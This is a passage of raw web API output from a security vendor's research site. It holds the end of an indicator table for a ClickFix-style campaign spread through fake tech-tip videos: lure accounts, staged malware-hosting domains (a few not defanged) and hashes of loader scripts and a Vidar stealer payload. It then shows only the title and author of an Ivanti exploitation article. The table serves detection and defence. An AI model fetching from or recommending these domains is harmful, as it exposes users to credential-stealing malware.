width=\"601\" cellspacing=\"0\" cellpadding=\"0\">\n<tbody>\n<tr>\n<td width=\"132\"><b>Type<\/b><\/td>\n<td width=\"180\"><b>Value<\/b><\/td>\n<td width=\"289\"><b>Note<\/b><\/td>\n<\/tr>\n<tr>\n<td width=\"132\">Username<\/td>\n<td width=\"180\">@windows.tips1<\/td>\n<td width=\"289\">TikTok user posting lure videos<\/td>\n<\/tr>\n<tr>\n<td width=\"132\">Username<\/td>\n<td width=\"180\">@msauth49<\/td>\n<td width=\"289\">TikTok user posting lure videos<\/td>\n<\/tr>\n<tr>\n<td width=\"132\">Username<\/td>\n<td width=\"180\">@slmgr-sh<\/td>\n<td width=\"289\">YouTube user posting lure videos<\/td>\n<\/tr>\n<tr>\n<td width=\"132\">Username<\/td>\n<td width=\"180\">@multicorecc<\/td>\n<td width=\"289\">YouTube user posting lure videos<\/td>\n<\/tr>\n<tr>\n<td width=\"132\">Username<\/td>\n<td width=\"180\">wtips404<\/td>\n<td width=\"289\">Instagram user posting lure videos<\/td>\n<\/tr>\n<tr>\n<td width=\"132\">Username<\/td>\n<td width=\"180\">wndwstips<\/td>\n<td width=\"289\">Instagram user posting lure videos<\/td>\n<\/tr>\n<tr>\n<td width=\"132\">Username<\/td>\n<td width=\"180\">tipstalkai<\/td>\n<td width=\"289\">Instagram user posting lure videos<\/td>\n<\/tr>\n<tr>\n<td width=\"132\">Username<\/td>\n<td width=\"180\">msauthcc<\/td>\n<td width=\"289\">Instagram user posting lure videos<\/td>\n<\/tr>\n<tr>\n<td width=\"132\">Domain name<\/td>\n<td width=\"180\">msget[.]run<\/td>\n<td width=\"289\">First-stage domain used in lure videos<\/td>\n<\/tr>\n<tr>\n<td width=\"132\">Domain name<\/td>\n<td width=\"180\">msact[.]run<\/td>\n<td width=\"289\">First-stage domain used in lure videos<\/td>\n<\/tr>\n<tr>\n<td width=\"132\">Domain name<\/td>\n<td width=\"180\">wslm[.]net<\/td>\n<td width=\"289\">First-stage domain used in lure videos<\/td>\n<\/tr>\n<tr>\n<td width=\"132\">Domain name<\/td>\n<td width=\"180\">slmgr[.]win<\/td>\n<td width=\"289\">First-stage domain used in lure videos<\/td>\n<\/tr>\n<tr>\n<td width=\"132\">Domain name<\/td>\n<td width=\"180\">slmgr[.]ws<\/td>\n<td width=\"289\">First-stage domain used in lure videos<\/td>\n<\/tr>\n<tr>\n<td width=\"132\">Domain name<\/td>\n<td width=\"180\">slmgr[.]sh<\/td>\n<td width=\"289\">First-stage domain used in lure videos<\/td>\n<\/tr>\n<tr>\n<td width=\"132\">Domain name<\/td>\n<td width=\"180\">msauth[.]cc<\/td>\n<td width=\"289\">First-stage domain used in lure videos<\/td>\n<\/tr>\n<tr>\n<td width=\"132\">Domain name<\/td>\n<td width=\"180\">msauth[.]in<\/td>\n<td width=\"289\">First-stage domain used in lure videos<\/td>\n<\/tr>\n<tr>\n<td width=\"132\">Domain name<\/td>\n<td width=\"180\">debloat[.]dev<\/td>\n<td width=\"289\">First-stage domain used in lure (Google Ads)<\/td>\n<\/tr>\n<tr>\n<td width=\"132\">Domain name<\/td>\n<td width=\"180\">activepro[.]cc<\/td>\n<td width=\"289\">First-stage domain used in lure<\/td>\n<\/tr>\n<tr>\n<td width=\"132\">Domain name<\/td>\n<td width=\"180\">keytool[.]cc<\/td>\n<td width=\"289\">First-stage domain used in lure<\/td>\n<\/tr>\n<tr>\n<td width=\"132\">Domain name<\/td>\n<td width=\"180\">activated[.]sh<\/td>\n<td width=\"289\">First-stage domain used in lure<\/td>\n<\/tr>\n<tr>\n<td width=\"132\">Domain name<\/td>\n<td width=\"180\">activator[.]tools<\/td>\n<td width=\"289\">First-stage domain used in lure<\/td>\n<\/tr>\n<tr>\n<td width=\"132\">Domain name<\/td>\n<td width=\"180\">lib-9ab.pages[.]dev<\/td>\n<td width=\"289\">Second-stage domain used to fetch payload script<\/td>\n<\/tr>\n<tr>\n<td width=\"132\">Domain name<\/td>\n<td width=\"180\">lib-2j8.pages[.]dev<\/td>\n<td width=\"289\">Second-stage domain used to fetch payload script<\/td>\n<\/tr>\n<tr>\n<td width=\"132\">Domain name<\/td>\n<td width=\"180\">settingss.pages.dev<\/td>\n<td width=\"289\">Second-stage domain used to fetch payload script<\/td>\n<\/tr>\n<tr>\n<td width=\"132\">Domain name<\/td>\n<td width=\"180\">settings-4av.pages[.]dev<\/td>\n<td width=\"289\">Second-stage domain used to fetch payload script<\/td>\n<\/tr>\n<tr>\n<td width=\"132\">Domain name<\/td>\n<td width=\"180\">installsh.pages[.]dev<\/td>\n<td width=\"289\">Second-stage domain used to fetch payload script<\/td>\n<\/tr>\n<tr>\n<td width=\"132\">Domain name<\/td>\n<td width=\"180\">cdn-4gp.pages[.]dev<\/td>\n<td width=\"289\">Second-stage domain used to fetch payload script<\/td>\n<\/tr>\n<tr>\n<td width=\"132\">Domain name<\/td>\n<td width=\"180\">settings-320.pages.dev<\/td>\n<td width=\"289\">Second-stage domain used to fetch payload script<\/td>\n<\/tr>\n<tr>\n<td width=\"132\">Domain name<\/td>\n<td width=\"180\">file-epq.pages[.]dev<\/td>\n<td width=\"289\">Third-stage domain hosting final payload<\/td>\n<\/tr>\n<tr>\n<td width=\"132\">Domain name<\/td>\n<td width=\"180\">install-5yq.pages[.]dev<\/td>\n<td width=\"289\">Third-stage domain hosting final payload<\/td>\n<\/tr>\n<tr>\n<td width=\"132\">Domain name<\/td>\n<td width=\"180\">crypted.pages.dev<\/td>\n<td width=\"289\">Third-stage domain hosting final payload<\/td>\n<\/tr>\n<tr>\n<td width=\"132\">Domain name<\/td>\n<td width=\"180\">cdn-27z.pages[.]dev<\/td>\n<td width=\"289\">Third-stage domain hosting final payload<\/td>\n<\/tr>\n<tr>\n<td width=\"132\">Domain name<\/td>\n<td width=\"180\">process-e7b.pages[.]dev<\/td>\n<td width=\"289\">Third-stage domain hosting final payload<\/td>\n<\/tr>\n<tr>\n<td width=\"132\">Domain name<\/td>\n<td width=\"180\">backup-5de.pages[.]dev<\/td>\n<td width=\"289\">Third-stage domain hosting final payload<\/td>\n<\/tr>\n<tr>\n<td width=\"132\">Domain name<\/td>\n<td width=\"180\">jacrcell[.]com<\/td>\n<td width=\"289\">Third-stage domain hosting final payload<\/td>\n<\/tr>\n<tr>\n<td width=\"132\">Domain name<\/td>\n<td width=\"180\">tranquilityparadise.com[.]np<\/td>\n<td width=\"289\">Third-stage domain hosting final payload<\/td>\n<\/tr>\n<tr>\n<td width=\"132\">Domain name<\/td>\n<td width=\"180\">tmopgm.org[.]ng<\/td>\n<td width=\"289\">Third-stage domain hosting final payload<\/td>\n<\/tr>\n<tr>\n<td width=\"132\">Domain name<\/td>\n<td width=\"180\">ravenfootballclub[.]com<\/td>\n<td width=\"289\">Third-stage domain hosting final payload<\/td>\n<\/tr>\n<tr>\n<td width=\"132\">Domain name<\/td>\n<td width=\"180\">py-3ow.pages[.]dev<\/td>\n<td width=\"289\">Third-stage domain hosting final payload<\/td>\n<\/tr>\n<tr>\n<td width=\"132\">SHA256<\/td>\n<td width=\"180\">792bf3c09a9c5b356b1d80e2ae4e4aff2ac928cb559221f3411f25bfdeca275a<\/td>\n<td width=\"289\">Second-stage script<\/td>\n<\/tr>\n<tr>\n<td width=\"132\">SHA256<\/td>\n<td width=\"180\">f2bddc0a8ddc8ad2bfe602d52b3e80c644eb74feae7c34d7b02e0f771f2ae0a4<\/td>\n<td width=\"289\">Second-stage script<\/td>\n<\/tr>\n<tr>\n<td width=\"132\">SHA256<\/td>\n<td width=\"180\">f2bddc0a8ddc8ad2bfe602d52b3e80c644eb74feae7c34d7b02e0f771f2ae0a4<\/td>\n<td width=\"289\">Second-stage script<\/td>\n<\/tr>\n<tr>\n<td width=\"132\">SHA256<\/td>\n<td width=\"180\">81cadd9f24233803a201e3dacbe247db80aae5e038e2002118102a0f6c8b8243<\/td>\n<td width=\"289\">Second-stage script<\/td>\n<\/tr>\n<tr>\n<td width=\"132\">SHA256<\/td>\n<td width=\"180\">6d897b5661aa438a96ac8695c54b7c4f3a1fbf1b628c8d2011e50864860c6b23<\/td>\n<td width=\"289\">Second-stage script<\/td>\n<\/tr>\n<tr>\n<td width=\"132\">SHA256<\/td>\n<td width=\"180\">4ab7f5af2f965d71bf4804e9c2fd8907fbfa61477c8b796fb52ad9780c490df7<\/td>\n<td width=\"289\">Second-stage script<\/td>\n<\/tr>\n<tr>\n<td width=\"132\">SHA256<\/td>\n<td width=\"180\">c9d98eaf38adb0bc078d8c197aebd4ddb9221a4d4833578ef6170252a2cf4398<\/td>\n<td width=\"289\">Second-stage script<\/td>\n<\/tr>\n<tr>\n<td width=\"132\">SHA256<\/td>\n<td width=\"180\">789284801ce260e1b5d0b1f1eca2aedcab472f5ccb8b8cfc89a1f8134bdc416c<\/td>\n<td width=\"289\">Second-stage script<\/td>\n<\/tr>\n<tr>\n<td width=\"132\">SHA256<\/td>\n<td width=\"180\">39fcc9afc49b0db1a260f022d2277754f24d0ce0d78bb2a6acf0b48820f6a155<\/td>\n<td width=\"289\">Final payload (Vidar)<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<section\n    class=\"wp-block-sharing-icons edwp-block wp-block-sharing-icons--disable-border wp-block-sharing-icons--disable-container wp-block-two-column-block__share wp-block-two-column-block__mobile-after-right wp-block-two-column-block__share wp-block-two-column-block__mobile-after-right\"\n    >\n    <div class=\"wp-block-sharing-icons__container\">\n        <div class=\"wp-block-sharing-icons__inner\">\n                            <p class=\"wp-block-sharing-icons__title fade-in\">\n                    Share this story                <\/p>\n                        <div class=\"wp-component-socials wp-component-socials--dark-mode\">\n    \n            <a href=\"https:\/\/www.linkedin.com\/shareArticle?mini=true&#038;url=https:\/\/www.withsecure.com\/en\/resources-hub\/w-labs\/clickfix-social-media\/&#038;title=The%20&#8216;vice&#8217;%20in%20tech%20advice:%20ClickFix-style%20commands%20disguised%20as%20tech%20tips%20across%20social%20media%20platforms%20and%20beyond\" target=\"_blank\" rel=\"noreferer noopener\" class=\"wp-component-socials__link\" title=\"Share on Linkedin\">\n            <svg class='edwp-icon edwp-icon--xlg js-icon ' aria-hidden='true'>\n                <use xlink:href='#linkedin'><\/use>\n            <\/svg>        <\/a>\n    \n            <a href=\"http:\/\/x.com\/share?text=The &#8216;vice&#8217; in tech advice: ClickFix-style commands disguised as tech tips across social media platforms and beyond&#038;url=https:\/\/www.withsecure.com\/en\/resources-hub\/w-labs\/clickfix-social-media\/\" target=\"_blank\" rel=\"noreferer noopener\" class=\"wp-component-socials__link wp-component-socials__link--twitter\" title=\"Share on Twitter\">\n            <svg class='edwp-icon edwp-icon--xlg js-icon ' aria-hidden='true'>\n                <use xlink:href='#x'><\/use>\n            <\/svg>        <\/a>\n    \n    \n    <\/div>\n        <\/div>\n    <\/div>\n<\/section>\n                <\/div>\n                        <\/div>\n<\/section>\n\n\n<section\n    class=\"wp-block-cta-banner edwp-block js-wp-block-cta-banner wp-block-cta-banner--style-icon wp-block-cta-banner--no-image layout--spacing-xxxl-top layout--spacing-xxxl-bottom\"\n    >\n    <div class=\"wp-block-cta-banner__container\">\n        <div class=\"wp-block-cta-banner__box row-load\">\n            <div class=\"wp-component-content wp-component-content--help-text wp-component-content--dark wp-block-cta-banner__content\">\n                        <div class=\"wp-component-content__inner\">\n                <h2 class=\"wp-component-heading text--h2 wp-component-heading--dark wp-component-content__title\">\n    What <span class=\"blue-text\">next?<\/span><\/h2>                                    <div class=\"wp-component-content__content wysiwyg wysiwyg--dark\">\n                        <div class=\"wp-component-paragraph wp-component-paragraph--dark\">\n    <p class=\"text--p-medium\">Discover WithSecure\u2122 Elements Exposure Management.<br \/>\n&#8211; No credit card required. No obligations.No complexity.<\/p>\n<\/div>\n                    <\/div>\n                            <\/div>\n                            <div class=\"wp-component-content__buttons\">\n                <a class=\"wp-component-button btn btn--primary btn--dark\" href=\"https:\/\/www.withsecure.com\/en\/contact-us\/\">Contact us<\/a>            <\/div>\n                <\/div>                    <\/div>\n    <\/div>\n<\/section>\n\n\n\n\n<section\n    class=\"wp-block-cards edwp-block wp-block-cards--col-3 js-wp-block-cards wp-block-cards--show-overflow wp-block-cards--auto-slides-per-view layout--spacing-xxxl-top layout--spacing-xxxl-bottom\"\n    >\n    <div class=\"wp-block-cards__container\">\n        <div class=\"wp-component-content wp-component-content--default wp-block-cards__content\">\n            <h2 class=\"wp-component-heading text--h2 wp-component-content__title\">\n    Related <span class=\"blue-text\">Labs content<\/span><\/h2>                    <div class=\"wp-component-content__inner\">\n                                    <div class=\"wp-component-content__content wysiwyg\">\n                        <div class=\"wp-component-paragraph \">\n    <p class=\"text--p-medium\"><span data-teams=\"true\">Find related content relating to this topic.<\/span><\/p>\n<\/div>\n                    <\/div>\n                                                            <\/div>\n                <\/div>                            <div\n                class=\"swiper wp-block-cards__swiper js-wp-block-cards-swiper\"\n                data-slides-per-view-desktop=\"auto\"\n                data-slides-per-view-tablet=\"auto\"\n                data-slides-per-view-mobile=\"auto\"\n            >\n                <div class=\"swiper-wrapper wp-block-cards__swiper-wrapper row-load\">\n                                            <div class=\"swiper-slide wp-block-cards__slide\">\n                            <div class=\"wp-component-card-insight wp-block-cards__card wp-component-card-insight--highlighted\">\n    <div class=\"wp-component-card-insight__image-wrapper\">\n        <img loading=\"lazy\" decoding=\"async\" width=\"618\" height=\"440\" src=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/placeholder.jpg.webp\" class=\"wp-component-card-insight__image\" alt=\"\" srcset=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/placeholder.jpg.webp 618w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/placeholder-300x214.jpg.webp 300w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/placeholder-447x318.jpg.webp 447w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/placeholder-205x146.jpg.webp 205w\" sizes=\"auto, (max-width: 618px) 100vw, 618px\" \/>                    <p class=\"wp-component-card-insight__content-type\">Blog post<\/p>\n            <\/div>\n    <div class=\"wp-component-card-insight__content\">\n                    <div class=\"wp-component-card-insight__meta\">\n                <div class=\"wp-component-card-insight__categories\">\n                                            <span class=\"wp-component-card-insight__category\">Attack Detection<\/span>\n                                            <span class=\"wp-component-card-insight__category\">Dfir<\/span>\n                                            <span class=\"wp-component-card-insight__category\">Incident Response<\/span>\n                                            <span class=\"wp-component-card-insight__category\">Malware<\/span>\n                                            <span class=\"wp-component-card-insight__category\">Research<\/span>\n                                            <span class=\"wp-component-card-insight__category\">Threat Intelligence<\/span>\n                                    <\/div>\n            <\/div>\n                            <h3 class=\"wp-component-card-insight__title\">Inside Phexia: A macOS malware delivered through ClickFix<\/h3>\n                                                    <div class=\"wp-component-card-insight__button-wrapper\">\n                <a class=\"wp-component-button btn btn--primary btn--dark wp-component-card-insight__button btn--small\" href=\"https:\/\/www.withsecure.com\/en\/resources-hub\/w-labs\/phexia-macos-malware\/\">Read more<\/a>            <\/div>\n            <\/div>\n<\/div>                        <\/div>\n                                            <div class=\"swiper-slide wp-block-cards__slide\">\n                            <div class=\"wp-component-card-insight wp-block-cards__card\">\n    <div class=\"wp-component-card-insight__image-wrapper\">\n        <img loading=\"lazy\" decoding=\"async\" width=\"2048\" height=\"1366\" src=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/06\/2026-05-21-WithSecure-3506.jpg.webp\" class=\"wp-component-card-insight__image\" alt=\"Overhead view down a wooden staircase of two people working on laptops in a casual seating nook below.\" srcset=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/06\/2026-05-21-WithSecure-3506.jpg.webp 2048w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/06\/2026-05-21-WithSecure-3506-300x200.jpg.webp 300w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/06\/2026-05-21-WithSecure-3506-1024x683.jpg.webp 1024w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/06\/2026-05-21-WithSecure-3506-768x512.jpg.webp 768w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/06\/2026-05-21-WithSecure-3506-1536x1025.jpg.webp 1536w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/06\/2026-05-21-WithSecure-3506-447x298.jpg.webp 447w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/06\/2026-05-21-WithSecure-3506-219x146.jpg.webp 219w\" sizes=\"auto, (max-width: 2048px) 100vw, 2048px\" \/>                    <p class=\"wp-component-card-insight__content-type\">Article<\/p>\n            <\/div>\n    <div class=\"wp-component-card-insight__content\">\n                    <div class=\"wp-component-card-insight__meta\">\n                <div class=\"wp-component-card-insight__categories\">\n                                            <span class=\"wp-component-card-insight__category\">Endpoint Security<\/span>\n                                            <span class=\"wp-component-card-insight__category\">Malware<\/span>\n                                            <span class=\"wp-component-card-insight__category\">Ransomware<\/span>\n                                            <span class=\"wp-component-card-insight__category\">Threat Intelligence<\/span>\n                                    <\/div>\n            <\/div>\n                            <h3 class=\"wp-component-card-insight__title\">Stolen creds and stinging loaders: An initial access campaign via SEO poisoning<\/h3>\n                                                    <div class=\"wp-component-card-insight__button-wrapper\">\n                <a class=\"wp-component-button btn btn--primary wp-component-card-insight__button btn--small\" href=\"https:\/\/www.withsecure.com\/en\/resources-hub\/w-labs\/initial-access-via-seo-poisoning\/\">Read more<\/a>            <\/div>\n            <\/div>\n<\/div>                        <\/div>\n                                            <div class=\"swiper-slide wp-block-cards__slide\">\n                            <div class=\"wp-component-card-insight wp-block-cards__card\">\n    <div class=\"wp-component-card-insight__image-wrapper\">\n        <img loading=\"lazy\" decoding=\"async\" width=\"618\" height=\"440\" src=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/placeholder.jpg.webp\" class=\"wp-component-card-insight__image\" alt=\"\" srcset=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/placeholder.jpg.webp 618w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/placeholder-300x214.jpg.webp 300w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/placeholder-447x318.jpg.webp 447w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/placeholder-205x146.jpg.webp 205w\" sizes=\"auto, (max-width: 618px) 100vw, 618px\" \/>                    <p class=\"wp-component-card-insight__content-type\">Blog post<\/p>\n            <\/div>\n    <div class=\"wp-component-card-insight__content\">\n                    <div class=\"wp-component-card-insight__meta\">\n                <div class=\"wp-component-card-insight__categories\">\n                                            <span class=\"wp-component-card-insight__category\">AI Security<\/span>\n                                            <span class=\"wp-component-card-insight__category\">Software Protection<\/span>\n                                            <span class=\"wp-component-card-insight__category\">Threat Intelligence<\/span>\n                                    <\/div>\n            <\/div>\n                            <h3 class=\"wp-component-card-insight__title\">GREYVIBE: A Russia-nexus group leveraging AI across state-aligned operations<\/h3>\n                                                    <div class=\"wp-component-card-insight__button-wrapper\">\n                <a class=\"wp-component-button btn btn--primary wp-component-card-insight__button btn--small\" href=\"https:\/\/www.withsecure.com\/en\/resources-hub\/w-labs\/greyvibe\/\">Read more<\/a>            <\/div>\n            <\/div>\n<\/div>                        <\/div>\n                                    <\/div>\n                <div class=\"wp-block-cards__nav fade-in\">\n                    <div class=\"wp-block-cards__pagination js-wp-block-cards-pagination\">\n                    <\/div>\n                    <div class=\"wp-block-cards__nav-arrow js-wp-block-cards-nav-prev\">\n                        <svg class='edwp-icon edwp-icon--reg js-icon ' aria-hidden='true'>\n                <use xlink:href='#chevron'><\/use>\n            <\/svg>                    <\/div>\n                    <div class=\"wp-block-cards__nav-arrow js-wp-block-cards-nav-next\">\n                        <svg class='edwp-icon edwp-icon--reg js-icon ' aria-hidden='true'>\n                <use xlink:href='#chevron'><\/use>\n            <\/svg>                    <\/div>\n                <\/div>\n            <\/div>\n                                    <\/div>\n<\/section>\n","protected":false},"excerpt":{"rendered":"","protected":false},"author":3,"featured_media":8859,"template":"","categories":[239,269],"labs_content_type":[298,296,224],"class_list":["post-8123","lab_item","type-lab_item","status-publish","has-post-thumbnail","hentry","category-endpoint-security","category-threat-intelligence"],"acf":[],"card":"<div class=\"wp-component-card-insight js-card-link\">\n    <div class=\"wp-component-card-insight__image-wrapper\">\n        <img width=\"1200\" height=\"800\" src=\"https:\/\/www.withsecure.com\/wp-content\/uploads\/2026\/05\/ws_labs_research2.jpg\" class=\"wp-component-card-insight__image\" alt=\"\" decoding=\"async\" loading=\"lazy\" srcset=\"https:\/\/www.withsecure.com\/wp-content\/uploads\/2026\/05\/ws_labs_research2.jpg 1200w, https:\/\/www.withsecure.com\/wp-content\/uploads\/2026\/05\/ws_labs_research2-300x200.jpg 300w, https:\/\/www.withsecure.com\/wp-content\/uploads\/2026\/05\/ws_labs_research2-1024x683.jpg 1024w, https:\/\/www.withsecure.com\/wp-content\/uploads\/2026\/05\/ws_labs_research2-768x512.jpg 768w, https:\/\/www.withsecure.com\/wp-content\/uploads\/2026\/05\/ws_labs_research2-447x298.jpg 447w, https:\/\/www.withsecure.com\/wp-content\/uploads\/2026\/05\/ws_labs_research2-219x146.jpg 219w\" sizes=\"auto, (max-width: 1200px) 100vw, 1200px\" \/>                    <p class=\"wp-component-card-insight__content-type\">Article<\/p>\n            <\/div>\n    <div class=\"wp-component-card-insight__content\">\n                    <div class=\"wp-component-card-insight__meta\">\n                <div class=\"wp-component-card-insight__categories\">\n                                            <span class=\"wp-component-card-insight__category\">Endpoint Security<\/span>\n                                            <span class=\"wp-component-card-insight__category\">Threat Intelligence<\/span>\n                                    <\/div>\n            <\/div>\n                            <h3 class=\"wp-component-card-insight__title\">The &#8216;vice&#8217; in tech advice: ClickFix-style commands disguised as tech tips across social media platforms and beyond<\/h3>\n                                                    <div class=\"wp-component-card-insight__button-wrapper\">\n                <a class=\"wp-component-button btn btn--primary wp-component-card-insight__button btn--small\" href=\"https:\/\/www.withsecure.com\/en\/resources-hub\/w-labs\/clickfix-social-media\/\">Read more<\/a>            <\/div>\n            <\/div>\n<\/div>","_links":{"self":[{"href":"https:\/\/www.withsecure.com\/en\/wp-json\/wp\/v2\/lab_item\/8123","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.withsecure.com\/en\/wp-json\/wp\/v2\/lab_item"}],"about":[{"href":"https:\/\/www.withsecure.com\/en\/wp-json\/wp\/v2\/types\/lab_item"}],"author":[{"embeddable":true,"href":"https:\/\/www.withsecure.com\/en\/wp-json\/wp\/v2\/users\/3"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.withsecure.com\/en\/wp-json\/wp\/v2\/media\/8859"}],"wp:attachment":[{"href":"https:\/\/www.withsecure.com\/en\/wp-json\/wp\/v2\/media?parent=8123"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.withsecure.com\/en\/wp-json\/wp\/v2\/categories?post=8123"},{"taxonomy":"labs_content_type","embeddable":true,"href":"https:\/\/www.withsecure.com\/en\/wp-json\/wp\/v2\/labs_content_type?post=8123"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}},{"id":8187,"date":"2026-03-25T09:00:00","date_gmt":"2026-03-25T09:00:00","guid":{"rendered":"https:\/\/www.withsecure.com\/?post_type=lab_item&#038;p=8187"},"modified":"2026-09-08T10:04:23","modified_gmt":"2026-09-08T07:04:23","slug":"ivanti-epmm-exploitation","status":"publish","type":"lab_item","link":"https:\/\/www.withsecure.com\/en\/resources-hub\/w-labs\/ivanti-epmm-exploitation\/","title":{"rendered":"Ivanti EPMM Exploitation: Hit-and-Run"},"content":{"rendered":"<section\n    class=\"wp-block-one-column-block edwp-block js-wp-block-one-column-block wp-block-one-column-block--content-1 wp-block-one-column-block--meta-sharing layout--spacing-xxxxl-top layout--spacing-xl-bottom\"\n    >\n    <div class=\"wp-block-one-column-block__container\">\n                                                                                                                            <div class='wp-block-one-column-block__meta-sharing-grid'><div class=\"wp-component-content wp-component-content--default wp-block-one-column-block__content fade-in\">\n            <h1 class=\"wp-component-heading text--h2 wp-component-content__title\">\n    Ivanti EPMM Exploitation:<span class=\"blue-text\">Hit-and-Run<\/span><\/h1>                    <div class=\"wp-component-content__inner\">\n                                                    <div class=\"wp-component-content__meta\">\n                                                    <span class=\"wp-component-content__content-type\">\n                                Article                            <\/span>\n                                                                            <span class=\"wp-component-content__meta-categories\">\n                                                                    <span class=\"wp-component-content__meta-category\">\n                                        Dfir                                    <\/span>\n                                                                    <span class=\"wp-component-content__meta-category\">\n                                        Server Security                                    <\/span>\n                                                                    <span class=\"wp-component-content__meta-category\">\n                                        Threat Intelligence                                    <\/span>\n                                                            <\/span>\n                                                                                                    <span class=\"wp-component-content__meta-date\">\n                                Mar 25, 2026                            <\/span>\n                                                                    <\/div>\n                                            <\/div>\n                <\/div><section\n    class=\"wp-block-sharing-icons edwp-block wp-block-sharing-icons--disable-border wp-block-sharing-icons--content-1 wp-block-sharing-icons--disable-container wp-block-one-column-block__sharing fade-in wp-block-one-column-block__sharing fade-in\"\n    >\n    <div class=\"wp-block-sharing-icons__container\">\n        <div class=\"wp-block-sharing-icons__inner\">\n                            <p class=\"wp-block-sharing-icons__title fade-in\">\n                    Share this                <\/p>\n                        <div class=\"wp-component-socials wp-component-socials--dark-mode\">\n    \n            <a href=\"https:\/\/www.linkedin.com\/shareArticle?mini=true&#038;url=https:\/\/www.withsecure.com\/en\/resources-hub\/w-labs\/ivanti-epmm-exploitation\/&#038;title=Ivanti%20EPMM%20Exploitation:%20Hit-and-Run\" target=\"_blank\" rel=\"noreferer noopener\" class=\"wp-component-socials__link\" title=\"Share on Linkedin\">\n            <svg class='edwp-icon edwp-icon--xlg js-icon ' aria-hidden='true'>\n                <use xlink:href='#linkedin'><\/use>\n            <\/svg>        <\/a>\n    \n            <a href=\"http:\/\/x.com\/share?text=Ivanti EPMM Exploitation: Hit-and-Run&#038;url=https:\/\/www.withsecure.com\/en\/resources-hub\/w-labs\/ivanti-epmm-exploitation\/\" target=\"_blank\" rel=\"noreferer noopener\" class=\"wp-component-socials__link wp-component-socials__link--twitter\" title=\"Share on Twitter\">\n            <svg class='edwp-icon edwp-icon--xlg js-icon ' aria-hidden='true'>\n                <use xlink:href='#x'><\/use>\n            <\/svg>        <\/a>\n    \n    \n    <\/div>\n        <\/div>\n    <\/div>\n<\/section>\n<\/div>                                                                            <div class=\"wp-component-image__wrapper wp-block-one-column-block__image fade-in\">\n                    <\/div>\n                                                                                <\/div>\n<\/section>\n\n\n<section\n    class=\"wp-block-one-column-block edwp-block js-wp-block-one-column-block wp-block-one-column-block--content-1 layout--spacing-xxxl-bottom\"\n    >\n    <div class=\"wp-block-one-column-block__container\">\n                                                                                                                                    <div class=\"wp-component-image__wrapper wp-block-one-column-block__image fade-in\">\n                    <figure class=\"wp-component-image__figure\">\n                                            <img loading=\"lazy\" decoding=\"async\" width=\"1200\" height=\"800\" src=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/ws_labs_insights.jpg.webp\" class=\"wp-component-image\n                            wp-component-image--desktop\n                            wp-component-image--mobile\n                            wp-component-image--ratio-content-25-1 wp-component-image--fit-cover\" alt=\"\" srcset=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/ws_labs_insights.jpg.webp 1200w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/ws_labs_insights-300x200.jpg.webp 300w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/ws_labs_insights-1024x683.jpg.webp 1024w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/ws_labs_insights-768x512.jpg.webp 768w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/ws_labs_insights-447x298.jpg.webp 447w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/ws_labs_insights-219x146.jpg.webp 219w\" sizes=\"auto, (max-width: 1200px) 100vw, 1200px\" \/>                                                    <\/figure>\n                    <\/div>\n                                                                                <\/div>\n<\/section>\n\n\n<section\n    class=\"wp-block-two-column-block edwp-block js-wp-block-two-column-block wp-block-two-column-block--content-1 wp-block-two-column-block__left--align-y-top wp-block-two-column-block__right--align-y-top wp-block-two-column-block--split-sidebar layout--none-top layout--spacing-xxxl-bottom\"\n    data-block-id=\"block_a7b6378269dd7fdc43caf25a3252b9dc\"\n    >\n    <div class=\"wp-block-two-column-block__container row-load\">\n                                                        <div class=\"wp-block-two-column-block__left\">\n                                    <div class=\"wp-component-authors-list wp-block-two-column-block__authors\">\n                    <p class=\"wp-component-authors-list__title\">\n                Authors            <\/p>\n        \n        <div class=\"wp-component-authors-list__items\">\n                                                <div class=\"wp-component-author-card \">\n    <div class=\"wp-component-author-card__media\">\n                    <span class=\"wp-component-author-card__photo-placeholder\" aria-hidden=\"true\">\n                <svg viewBox=\"0 0 64 64\" role=\"presentation\" focusable=\"false\">\n                    <path d=\"M32 34c-8.1 0-14.7 6.6-14.7 14.7v3.5h29.4v-3.5C46.7 40.6 40.1 34 32 34z\"><\/path>\n                    <path d=\"M32 31.2c6 0 10.9-4.9 10.9-10.9S38 9.4 32 9.4s-10.9 4.9-10.9 10.9S26 31.2 32 31.2z\"><\/path>\n                <\/svg>\n            <\/span>\n            <\/div>\n    <div class=\"wp-component-author-card__content\">\n                    <h3 class=\"wp-component-author-card__name\">Bert Stepp\u00e9<\/h3>\n        \n                \n            <\/div>\n\n<\/div>\n\n                                    <\/div>\n\n            <\/div>\n<nav\n    class=\"wp-component-content-navigation wp-block-two-column-block__content-nav 